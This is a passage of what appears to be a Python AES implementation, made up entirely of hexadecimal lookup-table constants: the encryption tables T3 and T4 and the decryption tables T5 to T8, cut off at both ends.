0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] # Transformations for decryption T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 